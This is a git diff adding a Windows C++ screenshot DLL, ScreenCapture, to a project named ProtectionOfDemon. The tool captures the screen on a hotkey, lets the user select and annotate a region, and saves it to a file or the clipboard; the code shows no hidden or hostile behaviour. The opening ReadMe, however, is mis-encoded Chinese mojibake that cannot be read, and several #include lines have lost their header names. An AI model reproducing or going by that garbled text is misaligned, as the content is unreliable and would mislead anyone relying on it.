+鏈枃浠舵瑕佷粙缁嶇粍鎴 ScreenCapture 搴旂敤绋嬪簭鐨勬瘡涓枃浠剁殑鍐呭銆
+
+
+ScreenCapture.vcxproj
+ 杩欐槸浣跨敤搴旂敤绋嬪簭鍚戝鐢熸垚鐨 VC++ 椤圭洰鐨勪富椤圭洰鏂囦欢锛屽叾涓寘鍚敓鎴愯鏂囦欢鐨 Visual C++ 鐨勭増鏈俊鎭紝浠ュ強鏈夊叧浣跨敤搴旂敤绋嬪簭鍚戝閫夋嫨鐨勫钩鍙般侀厤缃拰椤圭洰鍔熻兘鐨勪俊鎭
+
+ScreenCapture.vcxproj.filters
+ 杩欐槸浣跨敤鈥滃簲鐢ㄧ▼搴忓悜瀵尖濈敓鎴愮殑 VC++ 椤圭洰绛涢夊櫒鏂囦欢銆傚畠鍖呭惈鏈夊叧椤圭洰鏂囦欢涓庣瓫閫夊櫒涔嬮棿鐨勫叧鑱斾俊鎭傚湪 IDE 涓紝閫氳繃杩欑鍏宠仈锛屽湪鐗瑰畾鑺傜偣涓嬩互鍒嗙粍褰㈠紡鏄剧ず鍏锋湁鐩镐技鎵╁睍鍚嶇殑鏂囦欢銆備緥濡傦紝鈥.cpp鈥濇枃浠朵笌鈥滄簮鏂囦欢鈥濈瓫閫夊櫒鍏宠仈銆
+
+ScreenCapture.cpp
+ 杩欐槸涓 DLL 婧愭枃浠躲
+
+ 姝 DLL 鍦ㄥ垱寤烘椂涓嶅鍑轰换浣曠鍙枫傚洜姝わ紝鐢熸垚鏃朵笉浼氫骇鐢 .lib 鏂囦欢銆傚鏋滃笇鏈涙椤圭洰鎴愪负鍏朵粬鏌愪釜椤圭洰鐨勯」鐩緷璧栭」锛屽垯闇瑕佹坊鍔犱唬鐮佷互浠 DLL 瀵煎嚭鏌愪簺绗﹀彿锛屼互渚夸骇鐢熶竴涓鍑哄簱锛屾垨鑰咃紝涔熷彲浠ュ湪椤圭洰鈥滃睘鎬ч〉鈥濆璇濇涓殑鈥滈摼鎺ュ櫒鈥濇枃浠跺す涓紝灏嗏滃父瑙勨濆睘鎬ч〉涓婄殑鈥滃拷鐣ヨ緭鍏ュ簱鈥濆睘鎬ц缃负鈥滄槸鈥濄
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬鏍囧噯鏂囦欢:
+
+StdAfx.h, StdAfx.cpp
+ 杩欎簺鏂囦欢鐢ㄤ簬鐢熸垚鍚嶄负 ScreenCapture.pch 鐨勯缂栬瘧澶 (PCH) 鏂囦欢鍜屽悕涓 StdAfx.obj 鐨勯缂栬瘧绫诲瀷鏂囦欢銆
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬娉ㄩ噴:
+
+搴旂敤绋嬪簭鍚戝浣跨敤鈥淭ODO:鈥濇敞閲婃潵鎸囩ず搴旀坊鍔犳垨鑷畾涔夌殑婧愪唬鐮侀儴鍒嗐
+
+/////////////////////////////////////////////////////////////////////////////
diff --git a/ProtectionOfDemon/ScreenCapture/ScreenCapture.aps b/ProtectionOfDemon/ScreenCapture/ScreenCapture.aps
new file mode 100644
index 0000000..fcb4384
Binary files /dev/null and b/ProtectionOfDemon/ScreenCapture/ScreenCapture.aps differ
diff --git a/ProtectionOfDemon/ScreenCapture/ScreenCapture.cpp b/ProtectionOfDemon/ScreenCapture/ScreenCapture.cpp
new file mode 100644
index 0000000..2dcaeaa
--- /dev/null
+++ b/ProtectionOfDemon/ScreenCapture/ScreenCapture.cpp
@@ -0,0 +1,1374 @@
+// ScreenCapture.cpp : 定义 DLL 应用程序的导出函数。
+//
+
+#include "stdafx.h"
+
+
+// 头文件
+#include "CurveLine.h"
+#include "MyToolBar.h"
+#include
+#include
+#include
+#include
+#include "..\ProtectionOfDemon\MyGlobalData.h"
+#pragma comment(lib, "Comdlg32.lib")
+
+// 全局变量
+extern HMODULE g_hModule;
+HWND g_ScreenCaptureWnd = NULL;
+
+char g_szSavePath[MAX_PATH]; // 截图保存路径
+char g_szPictureFormat[MAX_PATH]; // 截图保存图片格式
+NOTIFYICONDATA g_nid; // 任务栏中的托盘数据
+HBITMAP g_bmpDesktop; // 桌面的位图句柄
+HBITMAP g_bmpBlack; // 纯黑色的位图句柄
+RECT g_rcChoose; // 选中截图区域
+HWNDSTRUCT g_stHwnd; // 100个句柄数组结构体
+POINT g_ptLButtonDown; // 保存鼠标左键按下的位置坐标
+int g_iState; // 0-开始截屏/1-手动选中区域/2-选中锁定/3-更改选中区域大小/4-选中区域移动/5-绘制曲线/6-撤销一步/7-保存/8-复制到剪切板
+RECT g_rcSizePoint[8]; // 8个可移动矩形点
+int g_iSizePoint; // 状态3下,由上到下,从左到右,1-8个点
+CMyToolBar g_ToolBar; // 工具栏
+CCurveLine g_Curve; // 绘制曲线
+vector g_vec; // 存储曲线图元向量
+int g_iCurvePenSort;
+int g_iCurvePenStyle;
+int g_iCurvePenWidth;
+COLORREF g_crCurvePenColor;
+CRITICAL_SECTION g_cs;
+
+// 函数声明
+void InitScreenCaptureData(); // 初始化操作
+BOOL ScreenCapture(); // 截屏
+void PaintScreenCapture(); // 绘制
+BOOL SaveScreenCapture(char *lpszSavePath, char *lpszPictureFormat, int iFlag = 0); // 保存成图片
+BOOL CopyScreenCaptureToClipboard(); // 将截屏区域图像复制到剪切板中
+void PaintMagnifier(HDC mdc, HDC bufdc, int iOldWidth, int iOldHeight, int iNewWidth, int iNewHeight); // 绘制放大器
+void PaintRectLine(HDC mdc, int x, int y, int iWidth, int iHeight, int iFlag); // 绘制边框线条
+BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam);
+void CurveBack(); // 绘制曲线时,撤销一步
+void ToolBarMsg(POINT p);
+
+LRESULT OnHotKey(WPARAM wParam, LPARAM lParam); // 热键消息响应
+LRESULT OnTaskMsg(WPARAM wParam, LPARAM lParam); // 托盘消息响应
+
+void OnMouseMove(); // 鼠标移动
+void OnLButtonDown(); // 鼠标左键单击按下
+void OnLButtonUp(); // 鼠标左键单击弹起
+void OnRButtonDown(); // 鼠标右键单击按下
+void OnLButtonDblClk(); // 鼠标左键双击
+void OnRButtonDblClk(); // 鼠标右键双击
+
+void OnMenuSavepath();
+void OnPictureformatJpg();
+void OnPictureformatPng();
+void OnPictureformatBmp();
+void OnPictureformatGif();
+void OnMenuAbout();
+void OnMenuExit();
+
+
+// 函数定义
+void ShowError(char *lpszText)
+{
+ char szErr[MAX_PATH] = { 0 };
+ ::wsprintf(szErr, "%s Error!\nError Code Is:%d\n", lpszText, ::GetLastError());
+ ::MessageBox(NULL, szErr, "ScreenCapture", MB_OK | MB_ICONERROR);
+}
+
+// 消息响应部分
+BOOL CALLBACK ScreenCaptureDlgProc(HWND hwndDlg, // handle to dialog box
+ UINT uMsg, // message
+ WPARAM wParam, // first message parameter
+ LPARAM lParam // second message parameter
+ )
+{
+ switch (uMsg)
+ {
+ case WM_INITDIALOG:
+ {
+ g_ScreenCaptureWnd = hwndDlg;
+ InitScreenCaptureData();
+// ScreenCapture();
+ break;
+ }
+ case WM_TIMER:
+ {
+ PaintScreenCapture();
+ break;
+ }
+ case WM_HOTKEY:
+ {
+ OnHotKey(wParam, lParam);
+ break;
+ }
+ case WM_MYTASK:
+ {
+ OnTaskMsg(wParam, lParam);
+ break;
+ }
+ case WM_COMMAND:
+ {
+ switch (wParam)
+ {
+ case ID_MENU_SAVEPATH:
+ {
+ OnMenuSavepath();
+ break;
+ }
+ case ID_PICTUREFORMAT_PNG:
+ {
+ OnPictureformatPng();
+ break;
+ }
+ case ID_PICTUREFORMAT_BMP:
+ {
+ OnPictureformatBmp();
+ break;
+ }
+ case ID_PICTUREFORMAT_GIF:
+ {
+ OnPictureformatGif();
+ break;
+ }
+ case ID_PICTUREFORMAT_JPG:
+ {
+ OnPictureformatJpg();
+ break;
+ }
+ case ID_MENU_ABOUT:
+ {
+ OnMenuAbout();
+ break;
+ }
+ case ID_MENU_EXIT:
+ {
+ OnMenuExit();
+ break;
+ }
+ default:
+ break;
+ }
+ break;
+ }
+ case WM_MOUSEMOVE:
+ {
+ OnMouseMove(); // 鼠标移动
+ break;
+ }
+ case WM_LBUTTONDOWN:
+ {
+ OnLButtonDown(); // 鼠标左键单击按下
+ break;
+ }
+ case WM_LBUTTONUP:
+ {
+ OnLButtonUp(); // 鼠标左键单击弹起
+ break;
+ }
+ case WM_LBUTTONDBLCLK:
+ {
+ OnLButtonDblClk(); // 鼠标左键双击
+ break;
+ }
+ case WM_RBUTTONDOWN:
+ {
+ OnRButtonDown(); // 鼠标右键单击按下
+ break;
+ }
+ case WM_RBUTTONDBLCLK:
+ {
+ OnRButtonDblClk(); // 鼠标右键双击
+ break;
+ }
+ case WM_CLOSE:
+ {
+ // 当使用DialogBoxParam创建对话框时,使用EndDialog销毁窗口
+ // 当使用CreateDialogParam创建对话框时,使用DestroyWindow销毁窗口
+ ::DestroyWindow(g_ScreenCaptureWnd);
+ break;
+ }
+ default:
+ return FALSE;
+ }
+ return TRUE;
+}
+
+
+// 实现部分
+void InitScreenCaptureData()
+{
+ // 托盘显示
+ g_nid.cbSize = sizeof(NOTIFYICONDATA);
+ g_nid.hWnd = g_ScreenCaptureWnd;
+ g_nid.uID = IDI_ICON1;
+ g_nid.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
+ g_nid.uCallbackMessage = WM_MYTASK; // 自定义消息
+ g_nid.hIcon = ::LoadIcon(g_hModule, MAKEINTRESOURCE(IDI_ICON1));
+ ::lstrcpy(g_nid.szTip, "Screen Capture V1.0"); // 消息提示条
+ ::Shell_NotifyIcon(NIM_ADD, &g_nid); // 在托盘区增加图标
+ // 注册热键
+ ::RegisterHotKey(g_ScreenCaptureWnd, HOTKEYMSG_CAPTURE_START, MOD_CONTROL | MOD_SHIFT, 'A'); // 注册截屏热键Ctrl + Shift + A
+ ::RegisterHotKey(g_ScreenCaptureWnd, HOTKEYMSG_CAPTURE_END, NULL, VK_ESCAPE); // 注册隐藏热键Esc
+ // 设置在任务栏中隐藏最小化图标
+ DWORD dwWinExStyle = ::GetWindowLong(g_ScreenCaptureWnd, GWL_EXSTYLE);
+ dwWinExStyle = dwWinExStyle | WS_EX_TOOLWINDOW;
+ ::SetWindowLong(g_ScreenCaptureWnd, GWL_EXSTYLE, dwWinExStyle);
+ // 初始化截屏选中区域
+ g_rcChoose.left = 100;
+ g_rcChoose.top = 100;
+ g_rcChoose.right = 200;
+ g_rcChoose.bottom = 200;
+ // 初始化工具栏
+ g_ToolBar.Init(IDB_BITMAP2, IDB_BITMAP1, 7, 7, g_hModule);
+ // 读取配置文件
+ ::GetPrivateProfileString("SAVE PATH", "Path", ".\\", g_szSavePath, MAX_PATH, ".\\screencaptureconfig.ini");
+ ::GetPrivateProfileString("PICTURE FORMAT", "Format", ".jpg", g_szPictureFormat, MAX_PATH, ".\\screencaptureconfig.ini");
+ g_iCurvePenSort = ::GetPrivateProfileInt("PEN SETTING", "Sort", 0, ".\\screencaptureconfig.ini");
+ g_iCurvePenStyle = ::GetPrivateProfileInt("PEN SETTING", "Style", PS_SOLID, ".\\screencaptureconfig.ini");
+ g_iCurvePenWidth = ::GetPrivateProfileInt("PEN SETTING", "Width", 2, ".\\screencaptureconfig.ini");
+ g_crCurvePenColor = ::GetPrivateProfileInt("PEN SETTING", "Color", RGB(255, 0, 0), ".\\screencaptureconfig.ini");
+ if (g_iCurvePenWidth == CURVEPENDWIDTH_1)
+ {
+ g_ToolBar.SetSecondOperateFlagWidth(1);
+ }
+ else if (g_iCurvePenWidth == CURVEPENDWIDTH_2)
+ {
+ g_ToolBar.SetSecondOperateFlagWidth(2);
+ }
+ else if (g_iCurvePenWidth == CURVEPENDWIDTH_3)
+ {
+ g_ToolBar.SetSecondOperateFlagWidth(3);
+ }
+
+ if (g_crCurvePenColor == CURVEPENDCOLOR_1)
+ {
+ g_ToolBar.SetSecondOperateFlagColor(4);
+ }
+ else if (g_crCurvePenColor == CURVEPENDCOLOR_2)
+ {
+ g_ToolBar.SetSecondOperateFlagColor(5);
+ }
+ else if (g_crCurvePenColor == CURVEPENDCOLOR_3)
+ {
+ g_ToolBar.SetSecondOperateFlagColor(6);
+ }
+ else if (g_crCurvePenColor == CURVEPENDCOLOR_4)
+ {
+ g_ToolBar.SetSecondOperateFlagColor(7);
+ }
+
+ // 初始化临界区
+ ::InitializeCriticalSection(&g_cs);
+}
+
+
+BOOL CALLBACK EnumWindowsProc(HWND hWnd, // handle to parent window
+ LPARAM lParam // application-defined value
+ )
+{
+ DWORD dwStyle = ::GetWindowLong(hWnd, GWL_STYLE);
+ if ((dwStyle & WS_VISIBLE) && // 所有可见的顶层窗口
+ (dwStyle & WS_OVERLAPPEDWINDOW))
+ {
+ if (hWnd != g_ScreenCaptureWnd) // 不是自身程序窗口
+ {
+ g_stHwnd.hwndArray[g_stHwnd.iLen] = hWnd;
+ g_stHwnd.iLen++;
+ }
+ }
+ return TRUE;
+}
+
+BOOL ScreenCapture()
+{
+ g_iState = 0;
+ // 释放内存对象
+ ::DeleteObject(g_bmpDesktop);
+ ::DeleteObject(g_bmpBlack);
+ // 遍历所有顶层窗口
+ g_stHwnd.iLen = 0;
+ ::EnumWindows(EnumWindowsProc, NULL);
+ // 获取窗口宽高
+ int iScreenWidth = ::GetSystemMetrics(SM_CXSCREEN);
+ int iScreenHeight = ::GetSystemMetrics(SM_CYSCREEN);
+ // 获取桌面的画面
+ HWND hWnd = ::GetDesktopWindow();
+ HDC hDesktopDC = ::GetDC(hWnd);
+ HDC bufdc = ::CreateCompatibleDC(hDesktopDC);
+ g_bmpDesktop = ::CreateCompatibleBitmap(hDesktopDC, iScreenWidth, iScreenHeight);
+ HBITMAP oldbmp = (HBITMAP)::SelectObject(bufdc, g_bmpDesktop);
+ ::BitBlt(bufdc, 0, 0, iScreenWidth, iScreenHeight, hDesktopDC, 0, 0, SRCCOPY);
+ ::SelectObject(bufdc, oldbmp);
+ // 获取纯黑色的画面句柄
+ g_bmpBlack = ::CreateCompatibleBitmap(hDesktopDC, iScreenWidth, iScreenHeight);
+ oldbmp = (HBITMAP)::SelectObject(bufdc, g_bmpBlack);
+ HBRUSH hBrush = ::CreateSolidBrush(RGB(0, 0, 0));
+ HBRUSH hOldBrush = (HBRUSH)::SelectObject(bufdc, hBrush);
+ ::Rectangle(bufdc, 0, 0, iScreenWidth, iScreenHeight);
+ ::SelectObject(bufdc, hOldBrush);
+ ::SelectObject(bufdc, oldbmp);
+ // 释放内存
+ ::DeleteObject(hBrush);
+ ::DeleteDC(bufdc);
+ ::ReleaseDC(hWnd, hDesktopDC);
+ // 初始化工具栏
+ g_ToolBar.SetMainOperateFlag(0);
+ // 初始化曲线
+ g_Curve.Init(g_iCurvePenSort, g_iCurvePenStyle, g_iCurvePenWidth, g_crCurvePenColor);
+ g_vec.erase(g_vec.begin(), g_vec.end());
+ // 设置定时器
+ ::SetTimer(g_ScreenCaptureWnd, 1, 30, NULL);
+ // 最大化窗口显示
+ // ::ShowWindow(g_ScreenCaptureWnd, SW_MAXIMIZE);
+ ::SetWindowPos(g_ScreenCaptureWnd, HWND_TOPMOST, 0, 0, iScreenWidth, iScreenHeight, SWP_SHOWWINDOW);
+
+ return TRUE;
+}
+
+
+void PaintScreenCapture()
+{
+ // 获取窗口宽高
+ int iScreenWidth = ::GetSystemMetrics(SM_CXSCREEN);
+ int iScreenHeight = ::GetSystemMetrics(SM_CYSCREEN);
+ // 在窗口上显示桌面画面
+ HDC hdc = ::GetDC(g_ScreenCaptureWnd);
+ HDC mdc = ::CreateCompatibleDC(hdc);
+ HDC bufdc = ::CreateCompatibleDC(hdc);
+ HBITMAP bmp = ::CreateCompatibleBitmap(hdc, iScreenWidth, iScreenHeight);
+ HBITMAP oldmbmp = (HBITMAP)::SelectObject(mdc, bmp);
+ // 绘制黑色背景
+ HBITMAP oldbbmp = (HBITMAP)::SelectObject(bufdc, g_bmpBlack);
+ ::BitBlt(mdc, 0, 0, iScreenWidth, iScreenHeight, bufdc, 0, 0, SRCCOPY);
+ // 黑色背景和桌面透明混合
+ BLENDFUNCTION bf = { 0 };
+ bf.AlphaFormat = 0;
+ bf.BlendFlags = 0;
+ bf.BlendOp = AC_SRC_OVER;
+ bf.SourceConstantAlpha = 180;
+ ::SelectObject(bufdc, g_bmpDesktop);
+ ::AlphaBlend(mdc, 0, 0, iScreenWidth, iScreenHeight, bufdc, 0, 0, iScreenWidth, iScreenHeight, bf);
+ // 绘制选中的区域
+ ::BitBlt(mdc, g_rcChoose.left, g_rcChoose.top, (g_rcChoose.right - g_rcChoose.left), (g_rcChoose.bottom - g_rcChoose.top),
+ bufdc, g_rcChoose.left, g_rcChoose.top, SRCCOPY);
+ // 绘制边框线
+ PaintRectLine(mdc, g_rcChoose.left, g_rcChoose.top, (g_rcChoose.right - g_rcChoose.left), (g_rcChoose.bottom - g_rcChoose.top), 1);
+ // 绘制放大镜
+ PaintMagnifier(mdc, bufdc, 20, 10, 60, 40);
+ // 绘制曲线
+ ::EnterCriticalSection(&g_cs);
+ vector::iterator it;
+ for (it = g_vec.begin(); it != g_vec.end(); it++)
+ {
+ (*it).Draw(mdc);
+ }
+ ::LeaveCriticalSection(&g_cs);
+ if (g_Curve.IsPainting())
+ {
+ g_Curve.Draw(mdc);
+ }
+ // 绘制工具栏
+ RECT rc = { 0, 0, iScreenWidth, iScreenHeight };
+ POINT p;
+ ::GetCursorPos(&p);
+ g_ToolBar.Draw(mdc, rc, g_rcChoose, p);
+ // 绘制
+ ::BitBlt(hdc, 0, 0, iScreenWidth, iScreenHeight, mdc, 0, 0, SRCCOPY);
+
+ ::SelectObject(bufdc, oldbbmp);
+ ::SelectObject(mdc, oldmbmp);
+ // 释放内存
+ ::DeleteObject(bmp);
+ ::DeleteDC(bufdc);
+ ::DeleteDC(mdc);
+ ::ReleaseDC(g_ScreenCaptureWnd, hdc);
+}
+
+
+BOOL SaveScreenCapture(char *lpszSavePath, char *lpszPictureFormat, int iFlag)
+{
+ // 获取截图宽高
+ RECT rc = g_rcChoose;
+ int iTemp = 0;
+ if (rc.left > rc.right)
+ {
+ iTemp = rc.left;
+ rc.left = rc.right;
+ rc.right = iTemp;
+ }
+ if (rc.top > rc.bottom)
+ {
+ iTemp = rc.top;
+ rc.top = rc.bottom;
+ rc.bottom = iTemp;
+ }
+ int iImageWidth = rc.right - rc.left;
+ int iImageHeight = rc.bottom - rc.top;
+ // 获取截图位图句柄
+ HDC hdc = ::GetDC(g_ScreenCaptureWnd);
+ HDC mdc = ::CreateCompatibleDC(hdc);
+ HDC bufdc = ::CreateCompatibleDC(hdc);
+ HBITMAP bmp = ::CreateCompatibleBitmap(hdc, iImageWidth, iImageHeight);
+ HBITMAP oldmbmp = (HBITMAP)::SelectObject(mdc, bmp);
+ HBITMAP oldbbmp = (HBITMAP)::SelectObject(bufdc, g_bmpDesktop);
+ // 绘制曲线
+ ::EnterCriticalSection(&g_cs);
+ vector::iterator it;
+ for (it = g_vec.begin(); it != g_vec.end(); it++)
+ {
+ (*it).Draw(bufdc);
+ }
+ ::LeaveCriticalSection(&g_cs);
+ if (g_Curve.IsPainting())
+ {
+ g_Curve.Draw(bufdc);
+ }
+ // 绘制选中的区域
+ ::BitBlt(mdc, 0, 0, iImageWidth, iImageHeight,
+ bufdc, rc.left, rc.top, SRCCOPY);
+
+ ::SelectObject(bufdc, oldbbmp);
+ ::SelectObject(mdc, oldmbmp);
+
+ SYSTEMTIME stSystmTime = { 0 };
+ ::GetLocalTime(&stSystmTime);
+ char szPath[MAX_PATH] = { 0 };
+ if (0 == iFlag)
+ {
+ ::wsprintf(szPath, "%s\\%.4d%.2d%.2d%.2d%.2d%.2d%s", lpszSavePath, stSystmTime.wYear, stSystmTime.wMonth, stSystmTime.wDay,
+ stSystmTime.wHour, stSystmTime.wMinute, stSystmTime.wSecond, lpszPictureFormat);
+ }
+ else if (1 == iFlag)
+ {
+ ::lstrcpy(szPath, lpszSavePath);
+ }
+ CImage *pImage = new CImage;
+ pImage->Attach(bmp);
+ pImage->Save(szPath);
+ pImage->Detach();
+
+ // 释放内存
+ delete pImage;
+ pImage = NULL;
+ ::DeleteObject(bmp);
+ ::DeleteDC(bufdc);
+ ::DeleteDC(mdc);
+ ::ReleaseDC(g_ScreenCaptureWnd, hdc);
+
+ return TRUE;
+}
+
+
+BOOL CopyScreenCaptureToClipboard()
+{
+ // 获取截图宽高
+ RECT rc = g_rcChoose;
+ int iTemp = 0;
+ if (rc.left > rc.right)
+ {
+ iTemp = rc.left;
+ rc.left = rc.right;
+ rc.right = iTemp;
+ }
+ if (rc.top > rc.bottom)
+ {
+ iTemp = rc.top;
+ rc.top = rc.bottom;
+ rc.bottom = iTemp;
+ }
+ int iImageWidth = rc.right - rc.left;
+ int iImageHeight = rc.bottom - rc.top;
+ // 获取截图位图句柄
+ HDC hdc = ::GetDC(g_ScreenCaptureWnd);
+ HDC mdc = ::CreateCompatibleDC(hdc);
+ HDC bufdc = ::CreateCompatibleDC(hdc);
+ HBITMAP bmp = ::CreateCompatibleBitmap(hdc, iImageWidth, iImageHeight);
+ HBITMAP oldmbmp = (HBITMAP)::SelectObject(mdc, bmp);
+ HBITMAP oldbbmp = (HBITMAP)::SelectObject(bufdc, g_bmpDesktop);
+ // 绘制曲线
+ ::EnterCriticalSection(&g_cs);
+ vector::iterator it;
+ for (it = g_vec.begin(); it != g_vec.end(); it++)
+ {
+ (*it).Draw(bufdc);
+ }
+ ::LeaveCriticalSection(&g_cs);
+ if (g_Curve.IsPainting())
+ {
+ g_Curve.Draw(bufdc);
+ }
+ // 绘制选中的区域
+ ::BitBlt(mdc, 0, 0, iImageWidth, iImageHeight,
+ bufdc, rc.left, rc.top, SRCCOPY);
+
+ ::SelectObject(bufdc, oldbbmp);
+ ::SelectObject(mdc, oldmbmp);
+
+ // 打开剪切板
+ if (::OpenClipboard(g_ScreenCaptureWnd))
+ {
+ // 清空剪切板
+ ::EmptyClipboard();
+ // 复制到剪切板
+ ::SetClipboardData(CF_BITMAP, bmp);
+ // 关闭剪切板
+ ::CloseClipboard();
+ }
+
+ // 释放内存
+ ::DeleteObject(bmp);
+ ::DeleteDC(bufdc);
+ ::DeleteDC(mdc);
+ ::ReleaseDC(g_ScreenCaptureWnd, hdc);
+
+ return TRUE;
+}
+
+
+void PaintMagnifier(HDC mdc, HDC bufdc, int iOldWidth, int iOldHeight, int iNewWidth, int iNewHeight)
+{
+ char szInfo[MAX_PATH] = { 0 };
+ POINT p;
+ // 获取截图宽高
+ RECT rc = g_rcChoose;
+ int iTemp = 0;
+ if (rc.left > rc.right)
+ {
+ iTemp = rc.left;
+ rc.left = rc.right;
+ rc.right = iTemp;
+ }
+ if (rc.top > rc.bottom)
+ {
+ iTemp = rc.top;
+ rc.top = rc.bottom;
+ rc.bottom = iTemp;
+ }
+ int iImageWidth = rc.right - rc.left;
+ int iImageHeight = rc.bottom - rc.top;
+ // 获取鼠标在屏幕的位置坐标
+ ::GetCursorPos(&p);
+ // 获取窗口宽高
+ int iScreenWidth = ::GetSystemMetrics(SM_CXSCREEN);
+ int iScreenHeight = ::GetSystemMetrics(SM_CYSCREEN);
+ int x = p.x + 15;
+ int y = p.y + 15;
+ // 调整放大镜绘制的位置坐标
+ if (x + 2 * iNewWidth > iScreenWidth)
+ {
+ x = p.x - 5 - 2 * iNewWidth;
+ }
+ if (y + 30 + 2 * iNewHeight > iScreenHeight)
+ {
+ y = p.y - 5 - 30 - 2 * iNewHeight;
+ }
+ // 获取像素的RGB值
+ COLORREF crColor = ::GetPixel(bufdc, p.x, p.y);
+ // 绘制黑色背景
+ HBRUSH hBrush = ::CreateSolidBrush(RGB(0, 0, 0));
+ HBRUSH hOldBrush = (HBRUSH)::SelectObject(mdc, hBrush);
+ ::Rectangle(mdc, x, y, x + 2 * iNewWidth, y + 30 + 2 * iNewHeight);
+ ::SelectObject(mdc, hOldBrush);
+ ::DeleteObject(hBrush);
+ // 黑色背景和桌面透明混合
+ BLENDFUNCTION bf = { 0 };
+ bf.AlphaFormat = 0;
+ bf.BlendFlags = 0;
+ bf.BlendOp = AC_SRC_OVER;
+ bf.SourceConstantAlpha = 160;
+ ::AlphaBlend(mdc, x, y, 2 * iNewWidth, 30 + 2 * iNewHeight, bufdc, x, y, 2 * iNewWidth, 30 + 2 * iNewHeight, bf);
+ // 放大图片绘制
+ ::StretchBlt(mdc, x, y, 2 * iNewWidth, 2 * iNewHeight, bufdc, (p.x - iOldWidth), (p.y - iOldHeight), 2 * iOldWidth, 2 * iOldHeight, SRCCOPY);
+ // 显示信息
+ int iOldMode = ::SetBkMode(mdc, TRANSPARENT);
+ COLORREF crOldColor = ::SetTextColor(mdc, RGB(255, 255, 255));
+ ::wsprintf(szInfo, "Size: %d x %d", iImageWidth, iImageHeight);
+ ::TextOut(mdc, x, y + 2 * iNewHeight, szInfo, ::lstrlen(szInfo));
+ ::wsprintf(szInfo, "RGB(%d,%d,%d)", GetRValue(crColor), GetGValue(crColor), GetBValue(crColor));
+ ::TextOut(mdc, x, y + 15 + 2 * iNewHeight, szInfo, ::lstrlen(szInfo));
+ ::SetTextColor(mdc, crOldColor);
+ ::SetBkMode(mdc, iOldMode);
+ // 绘制边框线
+ PaintRectLine(mdc, x, y, 2 * iNewWidth, 30 + 2 * iNewHeight, 2);
+}
+
+
+void PaintRectLine(HDC mdc, int x, int y, int iWidth, int iHeight, int iFlag)
+{
+ if (1 == iFlag) // 选中区域的边框线
+ {
+ // 画四条边
+ HPEN hPen = ::CreatePen(PS_SOLID, 4, RGB(0, 120, 200));
+ HPEN hOldPen = (HPEN)::SelectObject(mdc, hPen);
+ ::MoveToEx(mdc, x, y, NULL);
+ ::LineTo(mdc, x + iWidth, y);
+ ::MoveToEx(mdc, x + iWidth, y, NULL);
+ ::LineTo(mdc, x + iWidth, y + iHeight);
+ ::MoveToEx(mdc, x + iWidth, y + iHeight, NULL);
+ ::LineTo(mdc, x, y + iHeight);
+ ::MoveToEx(mdc, x, y + iHeight, NULL);
+ ::LineTo(mdc, x, y);
+ ::SelectObject(mdc, hOldPen);
+ ::DeleteObject(hPen);
+ if (0 != g_iState) // 非开始截屏状态
+ {
+ // 计算中点
+ int iCenterX = x + iWidth / 2;
+ int iCenterY = y + iHeight / 2;
+ int iRectSize = 4;
+ // 画8个可移动矩形点
+ HPEN hPen = ::CreatePen(PS_SOLID, 1, RGB(0, 120, 200));
+ HPEN hOldPen = (HPEN)::SelectObject(mdc, hPen);
+ HBRUSH hBrush = ::CreateSolidBrush(RGB(0, 120, 200));
+ HBRUSH hOldBrush = (HBRUSH)::SelectObject(mdc, hBrush);
+ RECT rc[8] = { { (x - iRectSize), (y - iRectSize), (x + iRectSize), (y + iRectSize) },
+ { (iCenterX - iRectSize), (y - iRectSize), (iCenterX + iRectSize), (y + iRectSize) },
+ { (x + iWidth - iRectSize), (y - iRectSize), (x + iWidth + iRectSize), (y + iRectSize) },
+ { (x - iRectSize), (iCenterY - iRectSize), (x + iRectSize), (iCenterY + iRectSize) },
+ { (x + iWidth - iRectSize), (iCenterY - iRectSize), (x + iWidth + iRectSize), (iCenterY + iRectSize) },
+ { (x - iRectSize), (y + iHeight - iRectSize), (x + iRectSize), (y + iHeight + iRectSize) },
+ { (iCenterX - iRectSize), (y + iHeight - iRectSize), (iCenterX + iRectSize), (y + iHeight + iRectSize) },
+ { (x + iWidth - iRectSize), (y + iHeight - iRectSize), (x + iWidth + iRectSize), (y + iHeight + iRectSize) } };
+ for (int i = 0; i < 8; i++)
+ {
+ g_rcSizePoint[i] = rc[i];
+ ::Rectangle(mdc, rc[i].left, rc[i].top, rc[i].right, rc[i].bottom);
+ }
+ ::SelectObject(mdc, hOldPen);
+ ::SelectObject(mdc, hOldBrush);
+ ::DeleteObject(hPen);
+ ::DeleteObject(hBrush);
+ }
+
+ }
+ else if (2 == iFlag) // 放大镜的边框线
+ {
+ // 画四条边
+ HPEN hPen = ::CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
+ HPEN hOldPen = (HPEN)::SelectObject(mdc, hPen);
+ ::MoveToEx(mdc, x, y, NULL);
+ ::LineTo(mdc, x + iWidth, y);
+ ::MoveToEx(mdc, x + iWidth, y, NULL);
+ ::LineTo(mdc, x + iWidth, y + iHeight);
+ ::MoveToEx(mdc, x + iWidth, y + iHeight, NULL);
+ ::LineTo(mdc, x, y + iHeight);
+ ::MoveToEx(mdc, x, y + iHeight, NULL);
+ ::LineTo(mdc, x, y);
+ ::SelectObject(mdc, hOldPen);
+ ::DeleteObject(hPen);
+ // 画两条中线
+ x = x + 2;
+ y = y + 2;
+ iWidth = iWidth - 6;
+ iHeight = iHeight - 30 - 4;
+ hPen = ::CreatePen(PS_SOLID, 3, RGB(125, 208, 230));
+ hOldPen = (HPEN)::SelectObject(mdc, hPen);
+ ::MoveToEx(mdc, x, iHeight / 2 + y, NULL);
+ ::LineTo(mdc, x + iWidth, iHeight / 2 + y);
+ ::MoveToEx(mdc, x + iWidth / 2, y, NULL);
+ ::LineTo(mdc, x + iWidth / 2, y + iHeight);
+ ::SelectObject(mdc, hOldPen);
+ ::DeleteObject(hPen);
+ }
+}
+
+
+void OnLButtonDown() // 鼠标左键单击按下
+{
+ // 获取鼠标当前的窗口句柄
+ POINT p;
+ ::GetCursorPos(&p);
+ // 保存鼠标左键单击位置坐标
+ g_ptLButtonDown.x = p.x;
+ g_ptLButtonDown.y = p.y;
+ if (0 == g_iState) // 开始截屏状态
+ {
+ g_iState = 1; // 更改为手动选择截屏区域状态
+ }
+ else if (2 == g_iState || 6 == g_iState) // 选中锁定状态
+ {
+ // 如果是在选中截屏区域内
+ RECT rc = g_rcChoose;
+ int iTemp = 0;
